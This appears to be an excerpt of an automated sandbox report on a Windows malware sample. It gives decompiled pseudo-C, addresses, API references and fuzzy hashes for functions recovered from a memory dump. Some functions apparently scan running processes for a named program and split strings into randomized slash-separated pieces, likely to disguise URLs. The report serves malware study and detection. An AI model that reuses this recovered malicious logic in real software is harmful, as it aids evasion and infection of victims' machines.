					if(_t56 != 0) {
						goto L15;
					}
					goto L3;
					L11:
					_t42 = E03441C47( *(_t61 + 0x1c), _t59, 0xea60);
					_v12 = _t42;
				} while (_t42 == 0);
				goto L15;
			}

0x0344a0b2
0x0344a0b2
0x0344a0bc
0x0344a0c2
0x0344a0c5
0x0344a0c9
0x0344a0d1
0x0344a0d4
0x0344a0ed
0x0344a0f0
0x0344a0f4
0x0344a0f8
0x0344a0f9
0x0344a0fe
0x0344a101
0x0344a108
0x0344a10f
0x0344a162
0x0344a16b
0x0344a16e
0x0344a1a9
0x0344a1af
0x00000000
0x00000000
0x00000000
0x0344a16e
0x0344a115
0x00000000
0x0344a11c
0x0344a12a
0x0344a12d
0x0344a130
0x0344a13c
0x0344a140
0x0344a1a2
0x0344a142
0x0344a145
0x0344a149
0x0344a14a
0x0344a14b
0x0344a14d
0x0344a154
0x0344a192
0x0344a19d
0x0344a156
0x0344a159
0x0344a15d
0x0344a15d
0x0344a154
0x00000000
0x0344a140
0x0344a115
0x0344a0d9
0x0344a0df
0x0344a0e4
0x0344a0e7
0x00000000
0x00000000
0x00000000
0x0344a177
0x0344a17f
0x0344a186
0x0344a186
0x00000000

APIs

WaitForSingleObject.KERNEL32(?,00000000,00000000,00000102,?,00000000,00000000,76D681D0), ref: 0344A0C9
SetEvent.KERNEL32(?), ref: 0344A0D9
GetLastError.KERNEL32 ref: 0344A162

Part of subcall function 03441C47: WaitForMultipleObjects.KERNEL32(00000002,0344AA72,00000000,0344AA72,?,?,?,0344AA72,0000EA60), ref: 03441C62

Part of subcall function 03449039: HeapFree.KERNEL32(00000000,00000000,03447F18,00000000,?,?,00000000), ref: 03449045

GetLastError.KERNEL32(00000000), ref: 0344A197

Memory Dump Source

Source File: 00000003.00000002.493810566.0000000003441000.00000020.00000001.sdmp, Offset: 03440000, based on PE: true

Associated: 00000003.00000002.493785661.0000000003440000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493848114.000000000344C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.493863050.000000000344D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493880197.000000000344F000.00000002.00000001.sdmp Download File

Similarity

API ID: ErrorLastWait$EventFreeHeapMultipleObjectObjectsSingle
String ID:
API String ID: 602384898-0
Opcode ID: e31f959fbe2d0e4c9d7add7fbe27ee3a7c1a10f2ae45e8798afc33b83dfeffc9
Instruction ID: 78ea0c37f1a766c28f628cdcb4b2dd0f07cc0228a316a19dc95c7224a8e310bf
Opcode Fuzzy Hash: e31f959fbe2d0e4c9d7add7fbe27ee3a7c1a10f2ae45e8798afc33b83dfeffc9
Instruction Fuzzy Hash: 6931FCB5940308EFEB21DFD5C88099FFBF8EB04340F144A7BE542EA251D771AA459B54

Uniqueness

Uniqueness Score: -1.00%

Function 03443BF1, Relevance: 6.1, APIs: 4, Instructions: 87
sleepCOMMON

Download Yara Rule

C-Code - Quality: 40%

			E03443BF1(void* __ecx, void* __eflags, intOrPtr _a4, signed int* _a8, intOrPtr _a12) {
				intOrPtr _v12;
				void* _v16;
				void* _v28;
				char _v32;
				void* __esi;
				void* _t29;
				void* _t38;
				signed int* _t39;
				void* _t40;

				_t36 = __ecx;
				_v32 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v12 = _a4;
				_t38 = E03449763(__ecx,  &_v32);
				if(_t38 != 0) {
					L12:
					_t39 = _a8;
					L13:
					if(_t39 != 0 && ( *_t39 & 0x00000001) == 0) {
						_t16 =  &(_t39[1]); // 0x5
						_t23 = _t16;
						if( *_t16 != 0) {
							E0344A022(_t23);
						}
					}
					return _t38;
				}
				if(E0344A72D(0x40,  &_v16) != 0) {
					_v16 = 0;
				}
				_t40 = CreateEventA(0x344d2a8, 1, 0,  *0x344d344);
				if(_t40 != 0) {
					SetEvent(_t40);
					Sleep(0xbb8);
					CloseHandle(_t40);
				}
				_push( &_v32);
				if(_a12 == 0) {
					_t29 = E03448A51(_t36);
				} else {
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_t29 = E034417D5(_t36);
				}
				_t41 = _v16;
				_t38 = _t29;
				if(_v16 != 0) {
					E03441F99(_t41);
				}
				if(_t38 != 0) {
					goto L12;
				} else {
					_t39 = _a8;
					_t38 = E034442EA( &_v32, _t39);
					goto L13;
				}
			}

0x03443bf1
0x03443bfe
0x03443c04
0x03443c05
0x03443c06
0x03443c07
0x03443c08
0x03443c0c
0x03443c18
0x03443c1c
0x03443ca4
0x03443ca4
0x03443ca7
0x03443ca9
0x03443cb1
0x03443cb1
0x03443cb7
0x03443cba
0x03443cba
0x03443cb7
0x03443cc5
0x03443cc5
0x03443c2f
0x03443c31
0x03443c31
0x03443c48
0x03443c4c
0x03443c4f
0x03443c5a
0x03443c61
0x03443c61
0x03443c6d
0x03443c6e
0x03443c7c
0x03443c70
0x03443c70
0x03443c71
0x03443c72
0x03443c73
0x03443c74
0x03443c75
0x03443c75
0x03443c81
0x03443c86
0x03443c88
0x03443c8a
0x03443c8a
0x03443c91
0x00000000
0x03443c93
0x03443c93
0x03443ca0
0x00000000
0x03443ca0

APIs

CreateEventA.KERNEL32(0344D2A8,00000001,00000000,00000040,00000001,?,76D7F710,00000000,76D7F730,?,?,?,03446880,?,00000001,?), ref: 03443C42
SetEvent.KERNEL32(00000000,?,?,?,03446880,?,00000001,?,00000002,?,?,03442417,?), ref: 03443C4F
Sleep.KERNEL32(00000BB8,?,?,?,03446880,?,00000001,?,00000002,?,?,03442417,?), ref: 03443C5A
CloseHandle.KERNEL32(00000000,?,?,?,03446880,?,00000001,?,00000002,?,?,03442417,?), ref: 03443C61

Part of subcall function 03448A51: WaitForSingleObject.KERNEL32(00000000,?,?,?,03443C81,?,03443C81,?,?,?,?,?,03443C81,?), ref: 03448B2B

Memory Dump Source

Source File: 00000003.00000002.493810566.0000000003441000.00000020.00000001.sdmp, Offset: 03440000, based on PE: true

Associated: 00000003.00000002.493785661.0000000003440000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493848114.000000000344C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.493863050.000000000344D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493880197.000000000344F000.00000002.00000001.sdmp Download File

Similarity

API ID: Event$CloseCreateHandleObjectSingleSleepWait
String ID:
API String ID: 2559942907-0
Opcode ID: ad2d2539a95b48b2305d64920a28972f919e517030160faf3f87580b47f40699
Instruction ID: 286421cdff8420090f7dab2ec71c400275b515c4f560831c701cc536918183bb
Opcode Fuzzy Hash: ad2d2539a95b48b2305d64920a28972f919e517030160faf3f87580b47f40699
Instruction Fuzzy Hash: FF21B87BE00215AFEB10FFE588849AFB3BDAB44650B09843BE511AF200D730DD4587A4

Uniqueness

Uniqueness Score: -1.00%

Function 0344788B, Relevance: 6.1, APIs: 4, Instructions: 61
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E0344788B(unsigned int __eax, void* __ecx) {
				void* _v8;
				void* _v12;
				signed int _t21;
				signed short _t23;
				char* _t27;
				void* _t29;
				void* _t30;
				unsigned int _t33;
				void* _t37;
				unsigned int _t38;
				void* _t41;
				void* _t42;
				int _t45;
				void* _t46;

				_t42 = __eax;
				__imp__(__eax, _t37, _t41, _t29, __ecx, __ecx);
				_t38 = __eax;
				_t30 = RtlAllocateHeap( *0x344d238, 0, (__eax >> 3) + __eax + 1);
				_v12 = _t30;
				if(_t30 != 0) {
					_v8 = _t42;
					do {
						_t33 = 0x18;
						if(_t38 <= _t33) {
							_t33 = _t38;
						}
						_t21 =  *0x344d250; // 0xacddfab3
						_t23 = 0x3c6ef35f + _t21 * 0x19660d;
						 *0x344d250 = _t23;
						_t45 = (_t23 & 0x0000ffff) % (_t33 + 0xfffffff8) + 8;
						memcpy(_t30, _v8, _t45);
						_v8 = _v8 + _t45;
						_t27 = _t30 + _t45;
						_t38 = _t38 - _t45;
						_t46 = _t46 + 0xc;
						 *_t27 = 0x2f;
						_t13 = _t27 + 1; // 0x1
						_t30 = _t13;
					} while (_t38 > 8);
					memcpy(_t30, _v8, _t38 + 1);
				}
				return _v12;
			}

0x03447893
0x03447896
0x0344789c
0x034478b4
0x034478b8
0x034478bb
0x034478bd
0x034478c0
0x034478c2
0x034478c5
0x034478c7
0x034478c7
0x034478c9
0x034478d4
0x034478d9
0x034478ea
0x034478f2
0x034478f7
0x034478fa
0x034478fd
0x034478ff
0x03447905
0x03447908
0x03447908
0x03447908
0x03447913
0x03447918
0x03447922

APIs

lstrlen.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,0344839A,00000000,?,?,0344A428,?,05A795B0), ref: 03447896
RtlAllocateHeap.NTDLL(00000000,?), ref: 034478AE
memcpy.NTDLL(00000000,?,-00000008,?,?,?,0344839A,00000000,?,?,0344A428,?,05A795B0), ref: 034478F2
memcpy.NTDLL(00000001,?,00000001), ref: 03447913

Memory Dump Source

Source File: 00000003.00000002.493810566.0000000003441000.00000020.00000001.sdmp, Offset: 03440000, based on PE: true

Associated: 00000003.00000002.493785661.0000000003440000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493848114.000000000344C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.493863050.000000000344D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493880197.000000000344F000.00000002.00000001.sdmp Download File

Similarity

API ID: memcpy$AllocateHeaplstrlen
String ID:
API String ID: 1819133394-0
Opcode ID: c486026bd92ba6d5615942ec42582e92159cbc9301e4ce00f7a4270fe03912c6
Instruction ID: c3e6891fd91fe7c6c32d06a0bfa9b3caf35d7f5e9c2e4dc7600d70c9d9bae482
Opcode Fuzzy Hash: c486026bd92ba6d5615942ec42582e92159cbc9301e4ce00f7a4270fe03912c6
Instruction Fuzzy Hash: 1D11CA76A00214BFD710DF69DC84E9EBFEAEB86250B090176F5059F240E7709E05C754

Uniqueness

Uniqueness Score: -1.00%

Function 03447A9A, Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 48
stringCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E03447A9A(intOrPtr _a4, intOrPtr _a8) {
				char _v20;
				void* _t8;
				void* _t13;
				void* _t16;
				char* _t18;
				void* _t19;

				_t19 = 0x27;
				_t1 =  &_v20; // 0x74666f53
				_t18 = 0;
				E03446B43(_t8, _t1);
				_t16 = E03442049(_t19);
				if(_t16 != 0) {
					_t3 =  &_v20; // 0x74666f53
					_t13 = E034486D8(_t3, _t16, _a8);
					if(_a4 != 0) {
						__imp__(_a4);
						_t19 = _t13 + 0x27;
					}
					_t18 = E03442049(_t19);
					if(_t18 != 0) {
						 *_t18 = 0;
						if(_a4 != 0) {
							__imp__(_t18, _a4);
						}
						__imp__(_t18, _t16);
					}
					E03449039(_t16);
				}
				return _t18;
			}

0x03447aa5
0x03447aa6
0x03447aa9
0x03447aab
0x03447ab6
0x03447aba
0x03447abf
0x03447ac3
0x03447acb
0x03447ad0
0x03447ad8
0x03447ad8
0x03447ae1
0x03447ae5
0x03447aeb
0x03447aee
0x03447af4
0x03447af4
0x03447afc
0x03447afc
0x03447b03
0x03447b03
0x03447b0e

APIs

Part of subcall function 03442049: RtlAllocateHeap.NTDLL(00000000,00000000,03447E50), ref: 03442055

Part of subcall function 034486D8: wsprintfA.USER32 ref: 03448734

lstrlen.KERNEL32(034423E9,00000000,00000000,00000027,00000005,00000000,00000000,034496DA,74666F53,00000000,034423E9,0344D00C,?,034423E9), ref: 03447AD0
lstrcpy.KERNEL32(00000000,00000000), ref: 03447AF4
lstrcat.KERNEL32(00000000,00000000), ref: 03447AFC

Strings

Soft, xrefs: 03447AA6, 03447ABF

Memory Dump Source

Source File: 00000003.00000002.493810566.0000000003441000.00000020.00000001.sdmp, Offset: 03440000, based on PE: true

Associated: 00000003.00000002.493785661.0000000003440000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493848114.000000000344C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.493863050.000000000344D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493880197.000000000344F000.00000002.00000001.sdmp Download File

Similarity

API ID: AllocateHeaplstrcatlstrcpylstrlenwsprintf
String ID: Soft
API String ID: 393707159-3753413193
Opcode ID: ba7633b83de1cc79619bc111611a1c66ef61f2a9a41f32e993e70e74c4323202
Instruction ID: 93f22383ba68f4ba790a950148671a0c7af892e8965ab4e1e24b297671ac23f4
Opcode Fuzzy Hash: ba7633b83de1cc79619bc111611a1c66ef61f2a9a41f32e993e70e74c4323202
Instruction Fuzzy Hash: 6D01F736100319BBE712FBA69C84AEF7BA8DF81245F084437F5156D100DB758A46C7A5

Uniqueness

Uniqueness Score: -1.00%

Function 0344757F, Relevance: 6.0, APIs: 4, Instructions: 41
processCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E0344757F() {
				char _v264;
				void* _v300;
				int _t8;
				intOrPtr _t9;
				int _t15;
				void* _t17;

				_t15 = 0;
				_t17 = CreateToolhelp32Snapshot(2, 0);
				if(_t17 != 0) {
					_t8 = Process32First(_t17,  &_v300);
					while(_t8 != 0) {
						_t9 =  *0x344d27c; // 0x262a5a8
						_t2 = _t9 + 0x344ee54; // 0x73617661
						_push( &_v264);
						if( *0x344d0fc() != 0) {
							_t15 = 1;
						} else {
							_t8 = Process32Next(_t17,  &_v300);
							continue;
						}
						L7:
						CloseHandle(_t17);
						goto L8;
					}
					goto L7;
				}
				L8:
				return _t15;
			}

0x0344758a
0x03447594
0x03447598
0x034475a2
0x034475d3
0x034475a9
0x034475ae
0x034475bb
0x034475c4
0x034475db
0x034475c6
0x034475ce
0x00000000
0x034475ce
0x034475dc
0x034475dd
0x00000000
0x034475dd
0x00000000
0x034475d7
0x034475e3
0x034475e8

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0344758F
Process32First.KERNEL32(00000000,?), ref: 034475A2
Process32Next.KERNEL32(00000000,?), ref: 034475CE
CloseHandle.KERNEL32(00000000), ref: 034475DD

Memory Dump Source

Source File: 00000003.00000002.493810566.0000000003441000.00000020.00000001.sdmp, Offset: 03440000, based on PE: true

Associated: 00000003.00000002.493785661.0000000003440000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493848114.000000000344C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.493863050.000000000344D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493880197.000000000344F000.00000002.00000001.sdmp Download File

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: b0660e1535a7f99d4d4cd23e52a88d96fee67d03ba201f9c80e7c44a29ffdbb8
Instruction ID: 3ea589eba988572451be0b84ab152b7c75513a7b0dfbf2eb649fcd4b2fe11f38
Opcode Fuzzy Hash: b0660e1535a7f99d4d4cd23e52a88d96fee67d03ba201f9c80e7c44a29ffdbb8
Instruction Fuzzy Hash: 2DF0F63A6011246AFB60F7728C49EEB7BECDBC5600F004072F925DE100EB34C94B4AA9

Uniqueness

Uniqueness Score: -1.00%

Function 03447C61, Relevance: 6.0, APIs: 4, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E03447C61(void* __esi) {
				struct _SECURITY_ATTRIBUTES* _v4;
				void* _t8;
				void* _t10;

				_v4 = 0;
				memset(__esi, 0, 0x38);
				_t8 = CreateEventA(0, 1, 0, 0);
				 *(__esi + 0x1c) = _t8;
				if(_t8 != 0) {
					_t10 = CreateEventA(0, 1, 1, 0);
					 *(__esi + 0x20) = _t10;
					if(_t10 == 0) {
						CloseHandle( *(__esi + 0x1c));
					} else {
						_v4 = 1;
					}
				}
				return _v4;
			}

0x03447c6b
0x03447c6f
0x03447c84
0x03447c88
0x03447c8b
0x03447c91
0x03447c95
0x03447c98
0x03447ca3
0x03447c9a
0x03447c9a
0x03447c9a
0x03447c98
0x03447cb1

APIs

memset.NTDLL ref: 03447C6F
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,76D681D0), ref: 03447C84
CreateEventA.KERNEL32(00000000,00000001,00000001,00000000), ref: 03447C91
CloseHandle.KERNEL32(?), ref: 03447CA3

Memory Dump Source

Source File: 00000003.00000002.493810566.0000000003441000.00000020.00000001.sdmp, Offset: 03440000, based on PE: true

Associated: 00000003.00000002.493785661.0000000003440000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493848114.000000000344C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.493863050.000000000344D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493880197.000000000344F000.00000002.00000001.sdmp Download File

Similarity

API ID: CreateEvent$CloseHandlememset
String ID:
API String ID: 2812548120-0
Opcode ID: 8b25623d70edcd00971bafecfead03ed1f5d9148d85f5be8086566250bc791d2
Instruction ID: db385d3287a0506f16ba653981cb2cd041a3f834d7664834b47c6868ad4f0f09
Opcode Fuzzy Hash: 8b25623d70edcd00971bafecfead03ed1f5d9148d85f5be8086566250bc791d2
Instruction Fuzzy Hash: C2F0F4B5105308BFE3109F66DCC0D27BFACFB451D9B15893EF05595541D732E81A8AB4

Uniqueness

Uniqueness Score: -1.00%

Function 0344970F, Relevance: 6.0, APIs: 4, Instructions: 29
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0344970F() {
				void* _t1;
				intOrPtr _t5;
				void* _t6;
				void* _t7;
				void* _t11;

				_t1 =  *0x344d26c; // 0x2e4
				if(_t1 == 0) {
					L8:
					return 0;
				}
				SetEvent(_t1);
				_t11 = 0x7fffffff;
				while(1) {
					SleepEx(0x64, 1);
					_t5 =  *0x344d2b8; // 0x0
					if(_t5 == 0) {
						break;
					}
					_t11 = _t11 - 0x64;
					if(_t11 > 0) {
						continue;
					}
					break;
				}
				_t6 =  *0x344d26c; // 0x2e4
				if(_t6 != 0) {
					CloseHandle(_t6);
				}
				_t7 =  *0x344d238; // 0x5680000
				if(_t7 != 0) {
					HeapDestroy(_t7);
				}
				goto L8;
			}

0x0344970f
0x03449716
0x03449760
0x03449762
0x03449762
0x0344971a
0x03449720
0x03449725
0x03449729
0x0344972f
0x03449736
0x00000000
0x00000000
0x03449738
0x0344973d
0x00000000
0x00000000
0x00000000
0x0344973d
0x0344973f
0x03449747
0x0344974a
0x0344974a
0x03449750
0x03449757
0x0344975a
0x0344975a
0x00000000

APIs

SetEvent.KERNEL32(000002E4,00000001,03448099), ref: 0344971A
SleepEx.KERNEL32(00000064,00000001), ref: 03449729
CloseHandle.KERNEL32(000002E4), ref: 0344974A
HeapDestroy.KERNEL32(05680000), ref: 0344975A

Memory Dump Source

Source File: 00000003.00000002.493810566.0000000003441000.00000020.00000001.sdmp, Offset: 03440000, based on PE: true

Associated: 00000003.00000002.493785661.0000000003440000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493848114.000000000344C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.493863050.000000000344D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493880197.000000000344F000.00000002.00000001.sdmp Download File

Similarity

API ID: CloseDestroyEventHandleHeapSleep
String ID:
API String ID: 4109453060-0
Opcode ID: 28dbacc3593f5901726fd26c6f6dd5335d536380666941674b7fb5afde1d937a
Instruction ID: 3bf3bceafe06d1a7fcf360ade7160e2363eb3c71b9fd37f9b50b4ed3b39baad3
Opcode Fuzzy Hash: 28dbacc3593f5901726fd26c6f6dd5335d536380666941674b7fb5afde1d937a
Instruction Fuzzy Hash: 81F01239B0631097E720BF759A88B0777D8BB0166170C0531B804FF389DF24D840E654

Uniqueness

Uniqueness Score: -1.00%

Function 034475E9, Relevance: 6.0, APIs: 4, Instructions: 29
sleepmemoryCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E034475E9(void** __esi) {
				char* _v0;
				intOrPtr _t4;
				intOrPtr _t6;
				void* _t8;
				intOrPtr _t11;
				void* _t12;
				void** _t14;

				_t14 = __esi;
				_t4 =  *0x344d32c; // 0x5a795b0
				__imp__(_t4 + 0x40);
				while(1) {
					_t6 =  *0x344d32c; // 0x5a795b0
					_t1 = _t6 + 0x58; // 0x0
					if( *_t1 == 0) {
						break;
					}
					Sleep(0xa);
				}
				_t8 =  *_t14;
				if(_t8 != 0 && _t8 != 0x344d030) {
					HeapFree( *0x344d238, 0, _t8);
				}
				_t14[1] = E034494A9(_v0, _t14);
				_t11 =  *0x344d32c; // 0x5a795b0
				_t12 = _t11 + 0x40;
				__imp__(_t12);
				return _t12;
			}

0x034475e9
0x034475e9
0x034475f2
0x03447602
0x03447602
0x03447607
0x0344760c
0x00000000
0x00000000
0x034475fc
0x034475fc
0x0344760e
0x03447612
0x03447624
0x03447624
0x03447634
0x03447637
0x0344763c
0x03447640
0x03447646

APIs

RtlEnterCriticalSection.NTDLL(05A79570), ref: 034475F2
Sleep.KERNEL32(0000000A,?,034423DE), ref: 034475FC
HeapFree.KERNEL32(00000000,00000000,?,034423DE), ref: 03447624
RtlLeaveCriticalSection.NTDLL(05A79570), ref: 03447640

Memory Dump Source

Source File: 00000003.00000002.493810566.0000000003441000.00000020.00000001.sdmp, Offset: 03440000, based on PE: true

Associated: 00000003.00000002.493785661.0000000003440000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493848114.000000000344C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.493863050.000000000344D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493880197.000000000344F000.00000002.00000001.sdmp Download File

Similarity

API ID: CriticalSection$EnterFreeHeapLeaveSleep
String ID:
API String ID: 58946197-0
Opcode ID: 9f8bb5beb2d839b257e60adb6947e3a0395458a83ea04a891e1a96ff00d50145
Instruction ID: ea1c86466de37281a08609b7147cd44ecd0a1e91b40b77b5e3b3682b7cb421c8
Opcode Fuzzy Hash: 9f8bb5beb2d839b257e60adb6947e3a0395458a83ea04a891e1a96ff00d50145
Instruction Fuzzy Hash: C8F0D07CA01141EBE710EFB9D984E16B7E4AF15740B088436F911EF255D730DC01CA29

Uniqueness

Uniqueness Score: -1.00%

Function 0344A5D6, Relevance: 6.0, APIs: 4, Instructions: 28
sleepmemoryCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E0344A5D6() {
				void* _v0;
				void** _t3;
				void** _t5;
				void** _t7;
				void** _t8;
				void* _t10;

				_t3 =  *0x344d32c; // 0x5a795b0
				__imp__( &(_t3[0x10]));
				while(1) {
					_t5 =  *0x344d32c; // 0x5a795b0
					_t1 =  &(_t5[0x16]); // 0x0
					if( *_t1 == 0) {
						break;
					}
					Sleep(0xa);
				}
				_t7 =  *0x344d32c; // 0x5a795b0
				_t10 =  *_t7;
				if(_t10 != 0 && _t10 != 0x344e836) {
					HeapFree( *0x344d238, 0, _t10);
					_t7 =  *0x344d32c; // 0x5a795b0
				}
				 *_t7 = _v0;
				_t8 =  &(_t7[0x10]);
				__imp__(_t8);
				return _t8;
			}

0x0344a5d6
0x0344a5df
0x0344a5ef
0x0344a5ef
0x0344a5f4
0x0344a5f9
0x00000000
0x00000000
0x0344a5e9
0x0344a5e9
0x0344a5fb
0x0344a600
0x0344a604
0x0344a617
0x0344a61d
0x0344a61d
0x0344a626
0x0344a628
0x0344a62c
0x0344a632

APIs

RtlEnterCriticalSection.NTDLL(05A79570), ref: 0344A5DF
Sleep.KERNEL32(0000000A,?,034423DE), ref: 0344A5E9
HeapFree.KERNEL32(00000000,?,?,034423DE), ref: 0344A617
RtlLeaveCriticalSection.NTDLL(05A79570), ref: 0344A62C

Memory Dump Source

Source File: 00000003.00000002.493810566.0000000003441000.00000020.00000001.sdmp, Offset: 03440000, based on PE: true

Associated: 00000003.00000002.493785661.0000000003440000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493848114.000000000344C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.493863050.000000000344D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493880197.000000000344F000.00000002.00000001.sdmp Download File

Similarity

API ID: CriticalSection$EnterFreeHeapLeaveSleep
String ID:
API String ID: 58946197-0
Opcode ID: 8534d81ccb4e9b3d3de359d43e209e71986745513f9618dc2b8e6947d6d83bf9
Instruction ID: c89a7b0f88e3ff81cb4b81e7fc69cb81bf7c5c117df49fca513d6e6d00fb0743
Opcode Fuzzy Hash: 8534d81ccb4e9b3d3de359d43e209e71986745513f9618dc2b8e6947d6d83bf9
Instruction Fuzzy Hash: 6EF0DA7CA41100ABF714EF75D899E16B7E4EB09705B088436E802EF359D730EC00CE29

Uniqueness

Uniqueness Score: -1.00%

Function 03447F27, Relevance: 5.1, APIs: 4, Instructions: 70
stringCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E03447F27(void* __eax, void* __ecx, void* _a4, void** _a8, intOrPtr* _a12) {
				intOrPtr* _v8;
				void* _t17;
				intOrPtr* _t22;
				void* _t27;
				char* _t30;
				void* _t33;
				void* _t34;
				void* _t36;
				void* _t37;
				void* _t39;
				int _t42;

				_t17 = __eax;
				_t37 = 0;
				__imp__(_a4, _t33, _t36, _t27, __ecx);
				_t2 = _t17 + 1; // 0x1
				_t28 = _t2;
				_t34 = E03442049(_t2);
				if(_t34 != 0) {
					_t30 = E03442049(_t28);
					if(_t30 == 0) {
						E03449039(_t34);
					} else {
						_t39 = _a4;
						_t22 = E0344A911(_t39);
						_v8 = _t22;
						if(_t22 == 0 ||  *_t22 !=  *((intOrPtr*)(_t22 + 1))) {
							_a4 = _t39;
						} else {
							_t26 = _t22 + 2;
							_a4 = _t22 + 2;
							_t22 = E0344A911(_t26);
							_v8 = _t22;
						}
						if(_t22 == 0) {
							__imp__(_t34, _a4);
							 *_t30 = 0x2f;
							 *((char*)(_t30 + 1)) = 0;
						} else {
							_t42 = _t22 - _a4;
							memcpy(_t34, _a4, _t42);
							 *((char*)(_t34 + _t42)) = 0;
							__imp__(_t30, _v8);
						}
						 *_a8 = _t34;
						_t37 = 1;
						 *_a12 = _t30;
					}
				}
				return _t37;
			}

0x03447f27
0x03447f31
0x03447f33
0x03447f39
0x03447f39
0x03447f42
0x03447f46
0x03447f52
0x03447f56
0x03447fca
0x03447f58
0x03447f58
0x03447f5c
0x03447f63
0x03447f66
0x03447f80
0x03447f6f
0x03447f6f
0x03447f73
0x03447f76
0x03447f7b
0x03447f7b
0x03447f85
0x03447fad
0x03447fb3
0x03447fb6
0x03447f87
0x03447f89
0x03447f91
0x03447f9c
0x03447fa1
0x03447fa1
0x03447fbd
0x03447fc4
0x03447fc5
0x03447fc5
0x03447f56
0x03447fd5

APIs

lstrlen.KERNEL32(00000000,00000008,?,76D24D40,?,?,034415A4,?,?,?,?,00000102,034411DA,?,?,00000000), ref: 03447F33

Part of subcall function 03442049: RtlAllocateHeap.NTDLL(00000000,00000000,03447E50), ref: 03442055

Part of subcall function 0344A911: StrChrA.SHLWAPI(?,0000002F,00000000,00000000,03447F61,00000000,00000001,00000001,?,?,034415A4,?,?,?,?,00000102), ref: 0344A91F
Part of subcall function 0344A911: StrChrA.SHLWAPI(?,0000003F,?,?,034415A4,?,?,?,?,00000102,034411DA,?,?,00000000,00000000), ref: 0344A929

memcpy.NTDLL(00000000,00000000,00000000,00000000,00000001,00000001,?,?,034415A4,?,?,?,?,00000102,034411DA,?), ref: 03447F91
lstrcpy.KERNEL32(00000000,00000000), ref: 03447FA1
lstrcpy.KERNEL32(00000000,00000000), ref: 03447FAD

Memory Dump Source

Source File: 00000003.00000002.493810566.0000000003441000.00000020.00000001.sdmp, Offset: 03440000, based on PE: true

Associated: 00000003.00000002.493785661.0000000003440000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493848114.000000000344C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.493863050.000000000344D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493880197.000000000344F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrcpy$AllocateHeaplstrlenmemcpy
String ID:
API String ID: 3767559652-0
Opcode ID: 0dbec576d1e076f84c3cd3ba0fc1c6b6e0884c6c609d4943c1cf31bb7c81d50d
Instruction ID: f024eadb3769ee2e2af9c2827e121c679acf83a20769d1ff0d07e253ac290ab8
Opcode Fuzzy Hash: 0dbec576d1e076f84c3cd3ba0fc1c6b6e0884c6c609d4943c1cf31bb7c81d50d
Instruction Fuzzy Hash: 2821D236504315FFEB12EFA5C884AAFBFE9AF06284B09407AF9259F201D735C90187A4

Uniqueness

Uniqueness Score: -1.00%

Function 03447CB8, Relevance: 5.0, APIs: 4, Instructions: 39
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E03447CB8(void* __ecx, WCHAR* _a4, WCHAR* _a8) {
				void* _v8;
				void* _t18;
				int _t25;
				int _t29;
				int _t34;

				_t29 = lstrlenW(_a4);
				_t25 = lstrlenW(_a8);
				_t18 = E03442049(_t25 + _t29 + _t25 + _t29 + 2);
				_v8 = _t18;
				if(_t18 != 0) {
					_t34 = _t29 + _t29;
					memcpy(_t18, _a4, _t34);
					_t10 = _t25 + 2; // 0x2
					memcpy(_v8 + _t34, _a8, _t25 + _t10);
				}
				return _v8;
			}

0x03447ccd
0x03447cd1
0x03447cdb
0x03447ce2
0x03447ce5
0x03447ce7
0x03447cef
0x03447cf4
0x03447d02
0x03447d07
0x03447d11

APIs

lstrlenW.KERNEL32(004F0053,76D25520,?,00000008,05A7937C,?,0344747C,004F0053,05A7937C,?,?,?,?,?,?,03446814), ref: 03447CC8
lstrlenW.KERNEL32(0344747C,?,0344747C,004F0053,05A7937C,?,?,?,?,?,?,03446814), ref: 03447CCF

Part of subcall function 03442049: RtlAllocateHeap.NTDLL(00000000,00000000,03447E50), ref: 03442055

